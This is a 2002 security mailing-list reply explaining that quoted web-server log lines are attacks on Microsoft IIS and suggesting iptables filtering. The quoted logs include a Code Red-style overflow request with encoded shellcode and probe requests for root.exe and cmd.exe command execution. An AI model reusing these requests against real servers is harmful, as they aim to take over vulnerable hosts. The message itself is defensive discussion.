Hi Joaquin CONCERNING >>>> 218.4.59.220 - - [06/Oct/2002:22:44:49 -0600] "GET / default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u90 90%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u00 78%u0000%u00=a HTTP/1.0" 400 352 pd9ebef87.dip.t-dialin.net - - [07/Oct/2002:00:54:18 -0600] "HEAD / HTTP/1.0" 200 0 ixde7561-90.pool.007mundo.com - - [07/Oct/2002:03:39:00 -0600] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 310 ixde7561-90.pool.007mundo.com - - [07/Oct/2002:03:39:02 -0600] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 308 ixde7561-90.pool.007mundo.com - - [07/Oct/2002:03:39:04 -0600] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 318 >>>>>>>>>>>>>>>>>>>>>>>>>>> This an ATTACK regarding Microsoft Internet Information Server, hosted by Microsoft Windows Systems. So just ajust you Web Server logs in order to wipe this log's entries out. FOR THIS.. your use IPTABLES to filter... Since then, I'm getting constantly these in the messages log: Oct 7 20:59:16 Linolio kernel: IN=ppp0 OUT= MAC= SRC=64.172.120.252 DST=200.67.218.219 LEN=78 TOS=0x00 PREC=0x00 TTL=113 ID=50988 PROTO=UDP SPT=1025 DPT=137 LEN=58 Oct 7 21:03:32 Linolio kernel: IN=ppp0 OUT= MAC= SRC=61.99.136.75 DST=200.67.218.219 LEN=78 TOS=0x00 PREC=0x00 TTL=107 ID=63978 PROTO=UDP SPT=1027 DPT=137 LEN=58 Oct 7 21:04:46 Linolio kernel: IN=ppp0 OUT= MAC= SRC=210.178.168.234 DST=200.67.218.219 LEN=78 TOS=0x00 PREC=0x00 TTL=106 ID=54964 PROTO=UDP SPT=1026 DPT=137 LEN=58 Oct 7 21:05:46 Linolio kernel: IN=ppp0 OUT= MAC= SRC=210.221.225.151 DST=200.67.218.219 LEN=78 TOS=0x00 PREC=0x00 TTL=111 ID=6399 PROTO=UDP SPT=1026 DPT=137 LEN=58 Oct 7 21:06:05 Linolio kernel: IN=ppp0 OUT= MAC= SRC=163.180.21.160 DST=200.67.218.219 LEN=78 TOS=0x00 PREC=0x00 TTL=106 ID=4819 PROTO=UDP SPT=1043 DPT=137 LEN=58 Bye Fredie ------------------------------------------------------------------------ To unsubscribe email security-discuss-request@linuxsecurity.com with "unsubscribe" in the subject of the message. ------------------------------------------------------------------------ To unsubscribe email security-discuss-request@linuxsecurity.com with "unsubscribe" in the subject of the message.